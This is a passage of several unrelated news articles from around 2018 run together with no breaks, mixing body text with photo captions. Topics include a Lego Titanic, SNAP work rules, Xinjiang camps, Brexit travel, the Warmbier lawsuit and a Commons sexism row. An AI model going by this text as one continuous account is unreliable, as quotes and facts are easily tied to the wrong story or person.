aged two months at the time, died in 2009 at the age of 97. What started as a small project on his dining room floor, quickly snowballed into a 40,000 brick creation. It took the grandfather-of-ten two years to complete the structure, which he has now placed in the spare room for visitors to enjoy Mr Morton lives in Leeds, West Yorkshire, with his partner Karen Birch (right), 59, who has been on hand to help support the build. Mr Morton completed the structure (left) in three separate sections - before positioning it in his spare bedroom. Mr Morton is hoping to start a model of The Flying Scotsman once the Titanic model (pictured) is finally completed In June 2018, just months from completing the structure, Mr Morton had the unenviable shock of a single brick being out of place on the back of the ship - throwing the rest of that side out of line. He added: 'I couldn't believe it. I basically had to break up over two months worth of work and start it again to be able to match it back up. 'That wasn't a great day.' Mr Morton has shared the model with his friends and family, including his 10 grandchildren who love to come round to view the ship. Mr Morton said: 'They love to come to the house to have a look. 'I have had so many comments about it which is great. I have told the window cleaner, my friends in the pub and everybody thinks it is amazing. 'I can't believe the response.' A video of the ship was posted on a local Facebook forum by Mr Morton's partner's son Matthew Birch. Matthew said: 'I am so proud of him, he is a great bloke. It is awesome work.' Mr Morton is hoping to start a model of The Flying Scotsman once the Titanic model is finally completed. A child rapist has been dubbed so dangerous he must be monitored 24 hours per day and cannot be alone with his own mother for prolonged periods in a first for British courts. The man who cannot be named was convicted of raping a boy aged five and sentenced to time in a secure unit. However, the 28-year-old was released in 2016 after spending eight years behind bars and has caused so much concern for authorities a drastic supervision programme has been drawn up, The Sun reports. He must obey the orders of doctors at all times and is even legally banned from accessing porn due to his risk of re-offending. The man, known as AB is linked to two other sex assaults and is a 'class one' sex offender. He has to wear a tag and live in approved accommodation after officials from Hertfordshire County Council went to court. Legal history was made at the High Court in London when the man's strict supervision order was signed off by a judge It is claimed the council feared he would sue them in the future for 'deprivation of liberty'. But in a UK legal first at London's High Court, Mrs Justice Knowles agreed to the controls. The court heard despite AB's release he remains a 'real risks to others' because he is 'impulsive and opportunistic'. He may only see his own mother alone on 'very, very limited occasions'. The judge added: 'It was clear from what I have read that, without an extremely high level of monitoring and support, AB's feelings of anxiety and self-isolation could be instrumental in a repetition of his offending behaviours.' The judge ruled the 'community care plan' could be enforced for 12 months but any additional restrictions must be considered by a judge before being imposed. The Trump administration will force millions of able-bodied Americans who receive food stamp benefits to obtain steady jobs if they want the benefits to continue. That's an idea that Congress nixed just days ago, leaving it out of a 5-year Farm Bill that President Donald Trump signed into law Thursday. The $400 billion law reauthorized agriculture and conservation programs, and left the Supplemental Nutrition Assistance Program, which serves roughly 44 million Americans, virtually untouched. But the president announced at his bill-signing ceremony that he aims to move Americans 'from dependence to independence' and 'from welfare to gainful employment, strengthening families and uplifting communities.' SNAP is by far the U.S. Department of Agriculture's largest single expense, amounting to more than $70 billion last year alone. The USDA proposed a rule on Thursday that would limit how state governments can grant work exemptions to adults. Passage of the farm bill followed months of tense negotiations over House efforts to significantly tighten work requirements and the Senate's refusal to accept the provisions. Agriculture Secretary Sonny Perdue (left) is setting out to accomplish for President Donald Trump what this year's Farm Bill didn't: tightening work requirements for millions of Americans who receive federal food assistance President Trump was irked that Congress didn't include SNAP benefit reforms in the Farm Bill, so his administration is trying to hange the program administratively Food benefit programs are run by the states; the new USDA rule will limit their ability to let recipients evade work requirements Currently, able-bodied adults ages 18-49 without children are required to work 20 hours a week to maintain their SNAP benefits. The House bill would have raised the age of recipients subject to work requirements from 49 to 59 and required parents with children older than 6 to work or participate in job training. The House measure also sought to limit circumstances under which families that qualify for other poverty programs can automatically be eligible for SNAP. None of those measures made it into the final farm bill despite Trump's endorsement, so the administration turned to a regulatory approach to scaling back the SNAP program. House Agriculture Chairman Michael Conaway, a Texas Republican, was the primary champion for tighter SNAP work requirements in the House's farm bill. He praised the proposed rule. The top Democrat on the Senate Agriculture Committee, Debbie Stabenow of Michigan, blasted the Trump administration for attempting to restrict the program. 'This regulation blatantly ignores the bipartisan farm bill that the president is signing today and disregards over 20 years of history giving states flexibility to request waivers based on local job conditions,' Stabenow said. 'I expect the rule will face significant opposition and legal challenges.' Most food stamp programs involve debit cards In addition to SNAP benefits, cards like this one in ue in Texas also deliver Women, Infants and Children benefits, which won't be affected by the new rules Democrats called forcing welfare recipients to get jobs 'the definition of cruelty' and 'an overreach of executive power' Incoming House Speaker Nancy Pelosi, a California Democrat, blasted the USDA's move as 'the definition of cruelty' and tweeted that the government 'should be working to help hungry Americans, not take away their food.' 'Not only is this an overreach of executive power, it's also just cruel,' added Rhode Island Democratic Sen. Sheldon Whitehouse. Florida Republican Rep. Ted Yoho tweeted that he is a former SNAP recipient himself: 'Work is empowering!' Rep. Scott DesJarlais, a Tennessee Republican, said that the '[v]ast majority of U.S. supports work and training requirements to help food stamp recipients find jobs in [the] growing economy. Helping American citizens to learn new skills and re-join workforce should be our goal.' Work-eligible able-bodied adults without dependents can currently receive only three months of SNAP benefits in a three-year period if they don't meet the 20-hour work requirement. But states with an unemployment rate of 10 percent or higher, or a demonstrable lack of sufficient jobs, can waive those limitations. Republicans praised the move, including one who used to be on food assistance himself States are also allowed to grant benefit extensions for 15 percent of their work-eligible adult population without a waiver. If a state doesn't use its 15 percent, it can bank the exemptions to distribute later, creating what Agriculture Secretary Sonny Perdue referred to as a 'stockpile.' The USDA's proposed rule would strip states' ability to issue waivers unless a city or county has an unemployment rate of 7 percent or higher. The waivers would be good for one year and would require the governor to support the request. States would no longer be able to bank their 15 percent exemptions. The new rule also would forbid states from granting waivers for geographic areas larger than a specific jurisdiction. Perdue said the proposed rule is a tradeoff for Trump's support of the farm bill. 'The president has directed me to propose regulatory reforms to ensure those who are able to work do so in exchange for their benefits,' Perdue said during a media call Wednesday. 'We would much rather have Congress enact these important reforms for the SNAP program. However, these regulatory changes by the USDA will save hardworking taxpayers $15 billion over 10 years and give President Trump comfort enough to support a farm bill he might otherwise have opposed.' He wote in a USA Today op-ed published Thursday that with Ameica's unemployment rate at 3.7 per cent, 'available jobs outnumber those seeking employment.' Speaking specifically about non-disabled people between 18 and 49 years old who don't have children or other dependents, Perdue wrote htat 'there is a reasonable expectation for them to work or look for a job' if they want to stay on public assistance. Trump has spoken proudly about how 4.6 million Americans have already transitioned out of the program since he was elected. The USDA solicited public comment in February about ways to reform SNAP, and Perdue has repeatedly voiced support for shrinking the program. The Trump administration's effort, while celebrated by some conservatives, has been met with criticism from advocates who say tightening restrictions will result in more vulnerable Americans, including children, going hungry. A Brookings Institute study published this summer said more stringent work requirements are likely to hurt those who are already part of the workforce but whose employment is sporadic. This is the first picture of homeless Gyula Remes, 43, who died outside the House of Commons this week This is the first picture of the homeless man who died just feet away from the House of Commons this week. Friends of the rough sleeper have named him as Gyula Remes, 43, from Hungary, who had been living on the streets of Westminster for three months before he died. He was found unresponsive in an underpass MPs use to access the Tube by police officers at 11.30pm on Tuesday. He was pronounced dead shortly after. Other homeless people in the area have said they knew very little about Mr Remes but say he had just got a job as a chef's assistant at a restaurant in Charing Cross. They claim he smoked the 'zombie' drug spice and had been drinking alcohol before police found him. His death is not being treated as suspicious. Floral tributes have been laid in Greggs cups in the spot where he died along with 1,500 in homeless charity donations, after another man died in the same place this year. Dawn Hodgson, a 45-year-old homeless woman from Newcastle, sits beside a shrine for her homeless friend Gyula Remes near Westminster Tube Station The picture of Mr Remes, whose name is pronounced 'Julius', has been placed in the spot where he was found lifeless The picture of Mr Remes, whose name is pronounced 'Julius', was placed there after his death. A probe has revealed the number of homeless deaths has shot up by nearly a quarter over the past five years - to almost 600 in 2017. Homeless Jamie Leigh, a friend of the man said 'this shouldn't happen in our country', adding that Mr Remes had hoped to find a better life in London. According to his friend Gabor Kasza, 22, Mr Remes had been drinking that night and had been given a cigarette, which he suspected had been laced with the synthetic drug spice. 'He was drinking, very heavily, and someone gave him some kind of cigarette which he smoked. A handwritten note was left at the scene in tribute to the Hungarian who has been working as a kitchen assistant but was still sleeping rough Tributes have been left at the spot where Mr Remes was found unresponsive before later dying in hospital He is the second homeless person to have died after regularly sleeping rough in Westminster this year 'He said he was going to lie down and then when I came back a few hours later, he was all blue. We couldn't resuscitate him. It was definitely spice.' MPs were told about the death by Labour frontbencher Sir Keir Starmer, who said: 'I'm given to understand that tragically one of those sleeping just outside the entrance and exit to this place died in the last 24 hours or so.' It comes after Marcos Amaral Gourgel, a 35-year-old Portugese man, was found dead in the same spot in Westminster back in February. At the time Portuguese government officials confirmed Marcos, who was of Angolan origin, had been deported in 2014 and 2016. Gabor Kasza (pictured outside Parliament) said that his friend had been taking spice before he was found 'all blue' Its Ministry of Portuguese Communities Abroad told respected Portuguese daily Expresso: 'In 2014 he was deported to Portugal by the British authorities and assisted on his return. 'In 2016 we were made aware he had been deported again from the UK for being in the country illegally.' Respected Portuguese daily Correio da Manha claimed his first deportation happened after he served prison time for sexually abusing a child. It was not made clear how the dead man, who is understood to have had dual Angolan and Portuguese nationality, managed to return to the UK. The two deaths come after statistics revealed the number of homeless people who have died has increased by nearly a quarter over five years to almost 600. Deaths of rough sleepers and those in emergency accommodation rose from 482 in 2013 to 597 last year across England and Wales, according to the first Office for National Statistics (ONS) research of its kind. Life expectancy for the homeless is nearly half that for people in stable housing, with homeless men and women dying on average at the age of 44. London and the North West of England had the highest mortality rates, while in England and Wales last year more than half of homeless deaths were due to drug poisoning, liver disease or suicide. Commuters walk past the floral shrine that has been dedicated to Gyula Remes near the Houses of Parliament Shelter campaign director Greg Beales said: 'This appalling loss of life should be a source of national shame. 'There is nothing inevitable about homelessness or about these tragic deaths which are a consequence of a housing system which fails too many people. 'This new research from the ONS shows 597 people died homeless in one year. It doesn't have to be this way. 'Our crippling shortage of social housing and a threadbare safety net are at the root of this national emergency and we call on Government to make this year a turning point in the fight to ensure that there is a safe home for all those who need it.' Crisis chief executive Jon Sparkes said: 'This is nothing short of a national tragedy - especially when we know that homelessness is not inevitable. 'In one of the world's wealthiest countries, no one should be dying because of homelessness. It's imperative that governments act now to stop this tragedy once and for all. 'Behind these statistics are human beings - mothers, fathers, daughters and sons - whose families will now be spending Christmas coming to terms with their loss. This has to change. 'Governments must urgently expand the system used to investigate the deaths of vulnerable adults to include all those who have died while street homeless, so that crucial lessons can be learned to help prevent more people from dying needlessly.' A public school has been forced to apologise after students were photographed wearing racist and inappropriate costumes during a muck-up day. Rowena Public School in remote north-west NSW came under fire after students were seen dressed as Adolf Hitler and sporting blackface, New Matilda reported. 'The school unreservedly apologises for two photos that were published yesterday on our Facebook page. They have been removed,' the school said in a Facebook post. Rowena Public had just 25 students and two teachers, one of whom is the principal. Students were told to dress up as historical figures in a muck-up day earlier this month. Rowena Public School in north west NSW came under fire after students were seen dressed as Adolf Hitler (centre) and sporting a blackface (left) One student dressed up as Hitler and wore Nazi emblems. She was pictured next to another student who painted their face black and wrapped medals around their neck to represent American athlete Jesse Owens. A smiling school principal Paul Cecil posed with students in the photos. They were then uploaded to the school's Facebook page. Neighbouring towns like Walgett, Collarenebri and Moree have large Aboriginal populations and took the photos as a direct insult. Following the community uproar, Rowena Public School posted an apology then tore down the Facebook page. 'These photos were unacceptable,' the school said. 'Rowena Public School is a caring and supportive learning environment. We reject racism in all its forms.' Anti-Defamation Commission chairman Dvir Abramovich told Daily Mail Australia the photos were unacceptable. 'I am dumbfounded by the level of ignorance demonstrated by this distressing and alarming incident,' he said. A smiling school principal Paul Cecil (left) posed with students in the photos 'This is not a laughing matter, and we cannot afford to indulge this conduct, and to dismiss this simply as an innocent prank. 'This is a wake-up call that we all have much work to do in ensuring that all students understand the evils of the Holocaust, as well as the ugly history, dehumanisation and pure bigotry that the blackface represents.' Dr Abramovich said the costumes illustrated 'shocking insensitivity' and that they were demeaning. 'We should all be asking themselves: where did these young people learn that it was OK to dress up in such costumes? 'And why did the principal, who is supposed to be a role model, exhibit such a serious lapse in judgement by approving of such conduct and posting those images?' Dr Abramovich suggested mandatory anti-bias programs and Holocaust education should be rolled out across schools to avoid a repeat of the debacle. Beijing lashed out Thursday at recent U.S. media reports about forced labor of mostly ethnic Muslim detainees in China's far western Xinjiang region. The stories are 'a malicious attack that severely distorts the fact,' Foreign Ministry spokeswoman Hua Chunying said at a daily news briefing in response to a question from the state-run People's Daily newspaper. 'It goes totally against the professional ethics of journalism,' she continued, before invoking President Donald Trump. 'No wonder the U.S. leader has criticised the behavior of some U.S. media.' A perimeter fence is constructed around what is officially known as a vocational skills education centre in Dabancheng in China's far-west Xinjiang region A satellite image shows buildings around Kunshan Industrial Park in Artux in western Xinjiang. This is one of the camps in Xinjiang, where up to one million Muslims are believed to be held The Associated Press and others have reported that Muslims detained in internment camps have in some cases been forced to work in factories. The AP found that clothing made in one camp had been shipped to an American sportswear company that supplies universities, colleges and schools. U.S. Customs and Border Protection said Tuesday it is reviewing information published this week by The New York Times, The Washington Post and The Associated Press that 'for the first time appears to link the internment camps identified in Western China to the importation of goods produced by forced labor.' It is against U.S. law to import products of forced labor. Two layers of barbed wire fencing ring the 'Hotan City apparel employment training base' where Hetian Taida has a factory in Hotan in Xinjiang Muslim trainees work in a garment factory at Hotan Vocational Education and Training Center Hua said China has abolished re-education through labour and described the camps as vocational training centers that help families shake off poverty. The trainees participate voluntarily, she said, contradicting former detainees and friends and relatives of detainees who have told the AP that they have no choice. 'I would like to ask the relevant U.S. media, which criticise and demonise China's efforts in fighting terrorism and extremism and in poverty relief, what they have done in the face of 45 million Americans living in poverty and the severe discrimination issues at home,' she said. China has turned Xinjiang, home to the predominantly Muslim Uighur ethnic minority, into a virtual police state to prevent violent extremism. It has locked up as many as one million people, by some estimates, in camps where they are forced to give up their language and their religion and subject to political indoctrination. An armed police officer stands guard outside the entrance of what is officially called a vocational skills education centre in Hotan, Xinjiang A building with the words 'Neighborhood Center' at the top is seen behind barbed wire fences in the Artux City Vocational Skills Education Training Service Center at the Kunshan Industrial Park in Artux in western China's Xinjiang region Chinese authorities say the camps, which they call training centers, offer free vocational training for Uighurs, Kazakhs and others, mostly Muslims, as part of a plan to bring minorities into 'a modern civilized' world and eliminate poverty in Xinjiang. They say that people in the centers have signed agreements to receive vocational training. However, a dozen people who either had been in a camp or had friends or family in one told the AP that detainees they knew were given no choice but to work at the factories. Most of the Uighurs and Kazakhs, who were interviewed in exile, also said that even people with professional jobs were retrained to do menial work. Payment varied according to the factory. Some got paid nothing, while others earned up to several hundred dollars a month, they said - barely above minimum wage for the poorer parts of Xinjiang. Security guards stand at the gates of what is officially known as a vocational skills education centre in Huocheng County Residents past by the entrance to the 'Hotan City apparel employment training base' where Hetian Taida has a factory in Hotan in western China's Xinjiang region A person with firsthand knowledge of the situation estimated that more than 10,000 detainees - or 10 to 20 per cent of the internment population there - are working in factories, with some earning just a tenth of what they used to earn before. The person declined to be named out of fear of retribution. The predominantly Muslim Uighur and Kazakh ethnic minorities in China live mostly in the Xinjiang region bordering Pakistan and Afghanistan, with a legacy dating to ancient traders on the Silk Road. In recent decades, violent attacks by Uighur militants have killed hundreds and prompted the Chinese government to blanket Xinjiang with stifling security. About two years ago, authorities launched a vast detention and re-education campaign. They also use checkpoints, GPS tracking and face-scanning cameras for surveillance of ethnic minorities in the region. The slightest perceived misstep can land someone in the internment camps. British holidaymakers are starting to shun European destinations and instead heading to countries like Tunisia and Mexico amid concerns about Brexit. Tour operator Thomas Cook said tourists are heading further afield for their summer break, with bookings to the US and Cuba up. Meanwhile, bookings to Spanish resorts including the Canary and Balearic Islands have dipped. The findings have come amid growing concerns that a no deal Brexit could cause holiday chaos to many Britons making their getaways. Brussels yesterday threatened to stop British airlines from flying between EU airports, or operating services from Europe to the US. While the pound has tumbled against the euro amid fears political deadlock in Parliament will send Britain hurtling towards a no deal Brexit. It is unclear if holidaymakers are picking different destinations because they fear travel chaos caused by a no deal Brexit, or because they are better value. Tunisia (pictured) is one of the big 'trending' destinations for 2019 after Thomas Cook reintroduced package holidays under a year ago - three years after the Sousse terror attack Cuba is also one of the destinations which is seeing bookings soar as British holidaymakers head further afield (pictured, Havana ) Thomas Cook, one of the UK's biggest tour operators, said they are seeing families heading further afield for their holidays with bookings to Cancun, LA and New York also up. What no-deal Brexit plans have been unveiled by the EU? AIR TRAVEL Temporary measures were adopted to avoid 'full interruption' of air traffic between the EU and UK. But the commission warned they will only ensure 'basic connectivity' and 'in no means replicate the significant advantages of membership of the Single European Sky'. British airlines would be allowed to operate flights between the UK and the continent. However, they would be barred from flying between EU airports, or operating services from Europe to the US. UK CITIZENS IN THE EU The commission urged EU27 states to take a 'generous' approach to the rights of UK citizens in the EU following a no-deal Brexit, 'provided that this approach is reciprocated by the UK'. But it warned that UK nationals living in the bloc will be subject to its rules on the 'right to enter, reside and work in the EU Member States'. They will need a 'residence permit or a long-stay visa from the national migration authorities'. UK holidaymakers should be exempted from visa requirements, provided that all EU citizens are equally exempt from UK visas. FINANCIAL SECTOR A 12-month equivalence decision ensuring there will be no immediate disruption in the central clearing of derivatives A 24-month equivalence decision to avoid disruption in central depositories services for EU operators currently using UK operators Two 12-month regulations allowing the renewal of certain over-the-counter derivatives contracts Advertisement The operator said: 'Families are being more adventurous than ever before and the thought of taking the little ones to further afield destinations is no longer daunting it's the new normal. 'Over the past two years, Thomas Cook Airlines flight-only bookings among families have consistently grown. 'This July, family long-haul trips were up 64 per cent year-on-year, while August trips were up 44 per cent.' While bookings to north African destinations have also surged, with Tunisia 'trending' - three and a half years after the Sousse terror attack. Some 30 Brits were slaughtered when a gunman opened fire on a popular beach resort in June 2015. Tour operators pulled the plug on package holidays in the country in the wake of the deadly attack, but demand has surged since they were reintroduced at the beginning of the year. Thomas Cook said: 'Driven by quality holidays at an affordable price thanks to it being a non-Euro destination, as well as its soft white sands and rich roman heritage, appetite for Tunisia shows no sign of slowing down and Thomas Cook is predicting it as a hotspot for 2019. 'This time last year summer 2018 package holidays had only been available to book for a few months however bookings for next summer are currently up five-fold, indicating that sunshine at a fair price is a factor in the return of this old favourite destination. 'The share of family bookings is up 16 per cent year-on-year meaning that families so far account for 66 per cent of summer 2019 bookings - a higher proportion than to the Canaries or Cyprus.' A spokesman for ABTA - the Association of British Travel Agents - said: 'Europe is the number one destination people plan to visit next year and favourites such as Spain, Portugal and Greece are expected to still receive a large share of visitors. 'Other destinations offering excellent value for money and a favourable exchange rate are also set to perform well; bookings to Bulgaria for next summer are up 29 per cent to date, while Turkey, Egypt and Tunisia are also expected to attract more UK tourists.' The EU yesterday published its own no documents - and warned it could spark holiday chaos for British tourists. As Britons head further afield for their holidays, bookings to the Spanish Balearic Islands have dipped (pictured Cathedral La Seu and harbour, Palma de Mallorca, Mallorca, Balearic Islands) EU commission president Jean-Claude Juncker today announced the bloc has started implementing no-deal Brexit plans EU Commission president Jean-Claude Juncker said a disorderly British exit would be a 'catastrophe', while one EU official warned of the worst border disruption 'since wartime'. The EU commission revealed the details as it announced it has started implementing its 'no deal' Contingency Action Plan. According to the plans, British airlines would be allowed to operate flights between the UK and the continent. However, they would be barred from flying between EU airports, or operating services from Europe to the US. The Brussels blueprint covers 14 areas where UK withdrawal without a deal would create 'major disruption for citizens and businesses' in the remaining 27 EU states, including financial services, air transport and customs. An aquarium in California has been slammed by Twitter users for calling one of its otters 'an absolute unit'. Monterey Bay Aquarium in Monterey, California posted a picture of one of its most famous otters, named Abby, on Tuesday - but quickly drew criticism after being accused of 'fat shaming' the animal. The tweet read: 'Abby is a thicc girl What an absolute unit She c h o n k Look at the size of this lady OH LAWD SHE COMIN Another Internetism !' The sea otter, named Abby (pictured), from Monterey Bay Aquarium became an instant talking point after the tweet on Tuesday Monterey Bay Aquarium posted un unflattering picture of the otter alongside a contentious caption But soon after, several sensitive internet users launched a deluge of criticism against the aquarium. 'This is the most pathetic tweet imaginable. Grow a spine,' one user wrote. While another said: 'Please delete this tweet. It is offensive.' Even YouTube star Count Dankula was keen to have his say, retweeting the aquarium's post with the caption: 'Having to apologize for calling an otter fat is peak 2018.' The aquarium later posted that it had experienced a 'learning moment' from the reaction to the tweet and apologized for any offence caused. The aquarium was soon slammed by Twitter users with some labelling the tweet 'offensive' 'Hey everyone. It has come to our attention that some of the references in this tweet are problematic and insensitive. We're posting here in the thread so that people who have engaged with this tweet will join us in our learning moment,' a statement posted on Twitter read. 'If our tweet alienated you, please know that we are deeply sorry, and that we offer our sincerest apologies. If you follow our feed, we often reference popular memes to talk about the ocean. In this case, the memes used had connotations we were unaware of until now. 'In particular, several terms referenced originated from African American Vernacular English (AAVE) and specifically reference Black women's bodies. Using them in a sea otter meme without that background makes insinuations we never intended. We need to do better. 'Our mission is to inspire conservation of the ocean, and we're thankful for your support as we try to advance that mission on social media. We're also thankful for those of you out there pointing out our blindspots and how we can improve. Thanks everyone. Otto Warmbier's family are suing North Korea for his death shortly after being returned to the U.S. from a North Korean jail with severe brain damage in 2017. Warmbier's parents made emphatic statements in court on Wednesday after the family began their legal action against the communist state in April. In April Otto's mother, Cindy Warmbier said 'I'm going to stand up to evil when I see it. There is nothing more evil than North Korea.' Cindy repeated that sentiment at the court house in Washington DC on Wednesday, saying: 'We are not going to be the victims. I want them to feel victimized,' CNN reported. Fred and Cindy Warmbier stand in their home; their family are suing the North Korean state at a court in Washington DC American student Otto Warmbier speaks to reporters in Pyongyang, North Korea in February 2016 Warmbier looks distraught as he is carried away by two North Korean guards after being sentenced to 15 years hard labor by a North Korean kangaroo court in March 2016 Fred and Cindy Warmbier hold hands as they look on as the casket of their son, Otto, 22, is carried from Wyoming High School during his funeral in June 2017 His father Fred said: 'We're here because we don't fear North Korea anymore. They're cowards. 'They've done the worst they could do. This is the work of a coward.' He said the regime had held them 'hostage,' WENY reported, as they were unable to denounce the North Koreans for fear Otto would not be returned while he was in custody. Fred also spoke of the pain he felt when he was reunited with his son who was comatose and unable to communicate with him. Fred Warmbier with his wife Cindy, speaks at a symposium on the issue of North Korea's human rights abuses at the UN in New York on May 3 2018 Parents of Otto Warmbier, Fred and Cindy, are acknowledged during President Donald Trump's State of the Union address at the House of Representatives in January 2018 Otto's mother and father along with his two siblings Greta and Austin demanded 'closure' and 'justice' for their son from Kim Jong Un's regime. Otto, from Cincinnati, Ohio, was arrested while waiting to depart Pyongyang airport after the 22-year-old visited as a student in January 2016. His upsetting confession was broadcast to the world in March of that year in which he admitted to the theft of a propaganda poster from a hotel in the North Korean capital. His swift trial ended in a conviction and he was sentence to 15 years hard labor. President Trump meets with North Korean dictator Kim Jong Un during a summit at Sentosa Island, Singapore, on June 12 In June 2017, the Trump Administration secured the release of Otto but he was repatriated in a coma, with North Korean authorities claiming he was suffering from a rare illness called botulism. American medical experts in Cincinnati could find no evidence of botulism on his return and he was taken off life support shortly afterwards on June 19. The family are seeking damages for Otto's wrongful death, emotional distress and torture which they believe he was subjected to by the North Korean government. According to WCPO, there were expert witnesses from a Tufts University professor in Korean studies and a former executive director of Amnesty International. Pyongyang did not send a representative to the hearing at the U.S. District Court for the District of Columbia. The news comes as President Donald Trump's special envoy to North Korea announced on Wednesday that he was looking into easing travel restrictions to the state to allow for humanitarian shipments to be made. The U.S. banned travel for its citizens to North Korea following Otto's death. Stephen Biegun made the comments upon arrival in South Korea for talks on the nuclear negotiations, which have seen little headway since a summit between Trump and Kim Jong Un in June. Theresa May backs Andrea Leadsom's furious attack on John Bercow, it emerged today in a new escalation of the Tory war on the Commons Speaker. Mrs May sat in silence yesterday as Mrs Leadsom seized on a sexism row over Jeremy Corbyn branding her a 'stupid women' to drag Mr Bercow into the storm. The Commons Leader demanded Mr Bercow account for his own use of the jibe in a sensational escalation of the Tory war with the Speaker. A second Tory MP then emerged claiming Mr Bercow had also called her a 'stupid woman'. A senior No 10 source told MailOnline Mrs May understands 'Andrea feels very strongly about this - and rightly so'. The Tories have feuded with Mr Bercow for years and Mrs Leadsom has had a series of personal clashes in recent months. Despite the conflict, Downing Street and Mrs May have so far refused to intervene directly on Mr Bercow's handling of bullying and sexism allegations in Parliament. Theresa May (pictured at PMQs yesterday) backs Andrea Leadsom's furious attack on the Commons Speaker John Bercow, it emerged today The Tories have feuded with Mr Bercow for years and Mrs Leadsom has had a series of personal clashes in recent months . The Speaker is pictured yesterday being confronted by Tory MPs in the aftermath of PMQs Commons Leader Andrea Leadsom demanded John Bercow account for his own use of the 'stupid woman' jibe in a sensational escalation of the Tory war with the Speaker Mr Bercow issued a furious response to Mrs Leadsom when she revived their row in chaotic scenes in the aftermath of PMQs yesterday. Anna Soubry then piled on the pressure to accuse Mr Bercow of treating Tory MPs more harshly than he was handling Mr Corbyn's jibe. During a second row later yesterday afternoon, another Tory MP Vicky Ford levelled a new accusation Mr Bercow had also branded her a 'stupid woman' - producing another angry, finger pointing response from the Speaker. The row broke out in the aftermath of PMQs as Mr Corbyn was accused of muttering 'stupid woman' at the Prime Minister. Amid rowdy and chaotic scenes, Mrs Leadsom said to the Speaker: 'If individuals who are found to have made unwelcome remarks should apologise, why it is that when an opposition member found that you had called me a 'stupid woman', you did not apologise in this chamber?' After repeated jeers and banging from Tory MPs, Mr Bercow said: 'No no I'll deal with the point. 'I dealt with that point months ago in remarks that I made to the House of Commons to which Ms Leadsom in our various meetings since has made no reference and which requires from the chair today no elaboration whatsoever.' After the Speaker warned MPs he could not sanction the Labour leader, another Tory MP Vicky Ford accused Mr Bercow of making the same remark at her (pictured) A furious Mr Bercow wagged his finger (pictured) and insisted Ms Ford had never made the allegation before and that he 'refutes it 100 per cent' The Speaker added that 'the matter has been treated of and I am leaving it there'. Which other MPs have been accused of sexist remarks in the Commons? David Cameron telling Angela Eagle to 'calm down dear': In April 2011 the former PM was slammed for jeering at Ms Eagle as she heckled him alongside Ed Miliband. Jeremy Corbyn 'mansplaining' International Women's Day to Theresa May: The last time Mr Corbyn got into trouble at PMQs, he told Mrs May it was IWD when she had not mentioned it herself - prompting her to snap back that he did not need to remind her. Boris Johnson calls Emily Thornberry by her husband's name: During a furious clash, the ex-Foreign Secretary was told off John Bercow for mocking his Labour shadow as 'Lady Nugee' - her formal title but one which she does not use professionally. William Hague brands a Labour MP a 'stupid woman': The jibe has been used before when the ex-Tory leader attacked Labour's Cathy Jamieson in 2013. He later apologised. John Bercow compared Esther McVey to a washing machine: The Speaker has been repeatedly accused of sexist remarks. In 2015 he cut off the then Employment Minister to quip 'I'm reminded of the feeling when one think the washing machine will stop but it doesn't'. He apologised. John Bercow brands Andrea Leadsom a 'stupid woman': Bercow was in trouble again in May this year when he was overheard criticising Mrs Leadsom to Labour's chief whip Nick Brown. The Commons Leader hurled it back at him during today's furious exchanges. Advertisement She said when evidence was presented that 'you had called me a stupid woman you did not apologise in this chamber'. But former minister Anna Soubry then rose to claim that if the Tory MP had said the same thing to a Labour MP 'you sir would take action immediately'. 'With great respect to the chair I have to say this, if it was one of my male colleagues on this side of the House that had used that expression against a woman on the frontbench on the Opposition you sir would take action immediately. 'Please would you deal with it as you often do, Mr Speaker, in a fair way, but also from the point of view of women in this House who are fed up over decades of being abused by men.' Mr Bercow, who was being shouted at and heckled by Tory MPs, responded saying: 'I cannot be expected to deprecate the behaviour of an individual which I did not witness.' Mr Bercow returned the Commons three hours later to give his ruling on what Mr Corbyn had done. In response, Ms Ford said she 'did not believe' Mr Corbyn before turning her fire on the Speaker to blast: 'I have heard the words ''stupid woman'' being used in this chamber about myself and I am afraid to say I have heard it from yourself in the Speaker's chair.' Mr Bercow pointed at the MP and said: 'You have at no time previously... made that allegation against me. You have not come to me and said that. 'To my knowledge I am not in receipt of a letter alleging that. If there is such an allegation I refute it 100 per cent.' The incendiary row was triggered when Mr Corbyn was engulfed in a sexism row today over calling Mrs May a 'stupid woman' during bitter clashes at PMQs today. Jeremy Corbyn flatly denied saying the words 'stupid woman' when he was summoned back to the chamber this evening The Labour leader faced a furious backlash from Tories and his own MPs after appearing to mouth the jibe during a stormy Commons session. In a brutal pre-Christmas exchanges, Mrs May had accused Mr Corbyn of descending into 'pantomine' over Brexit, saying his own party was not behind him. But as the PM said down to cheers, Mr Corbyn seemed to mutter: 'Stupid woman.' The remark was not picked up on microphones, but politicians from both sides of the House were in little doubt what he said - as were lipreaders. However, hauled back to the House hours later, Mr Corbyn flatly denied saying the words. 'I did not use the words 'stupid woman' about the Prime Minister or anyone else,' he said. Despite the rebuttal, virtuoso percussionist Dame Evelyn Glennie, who is deaf and can lipread, agreed with the interpretation. Bizarrely, Hollywood actor Rob Lowe also waded in, saying he had seen the insult 'with my own eyes'. When the slur was raised with her in the chamber, Mrs May retorted that all MPs must refer to women in an 'appropriate' way. And after PMQs ended the House descended into chaos as Tories demanded Speaker John Bercow haul Mr Corbyn back to apologise. Xiao (pictured) is under police control after being accused of abusing her step-son A woman in China has been accused of pouring boiling water over her six-year-old step-son's genitals, causing him to be seriously injured. She is also said to have tied a rubber band around her step-son's genitals overnight and forced him to eat coins and drink bleach in the past. The step-mother, known by her surname Xiao, is now being investigated by police after the child was taken to the hospital with severe burns. The boy's step-sister stripped him of his trousers and underwear before Xiao scalded his private parts, according to Chinese media. The boy told his other family members that his step-mother had also forced him to drink detergent and used cotton buds to poke his ears, it is reported. Six-year-old Hu (pictured) from the county of Haixing in China was taken to the hospital with severe burns after his step-mother allegedly scalded his privates with boiling water The child, known by his surname Hu, lives in the county of Haixing in Hebei province. He was said to be burnt on December 16, according to Chinese news outlet Shangyou. It is reported that the child was taken to the Haixing County Hospital by his other family members after they discovered his injuries. The boy did not explain how he had got injured initially, but two days later when Xiao was not in his hospital ward, he told the truth to his aunt, according to the article. The boy's neighbours told reporters that the step-mother regularly assaulted the child According to the boy's uncle, the boy's father married his step-mother two years ago. Both of them are said to have divorced before. Police have launched an investigation into the matter. Officers from the Haixing County Public Security Bureau were first notified of the alleged abuse on the afternoon of December 16. They received a report of a domestic altercation from the boy's grandfather and rushed to the scene, according to a police statement. The police found the boy burnt. The boy's step-mother is now under police control while further investigation of the case is being carried out. A bus has been caught driving across double white lines and veering into the wrong lane to jump the line in backed up traffic. The 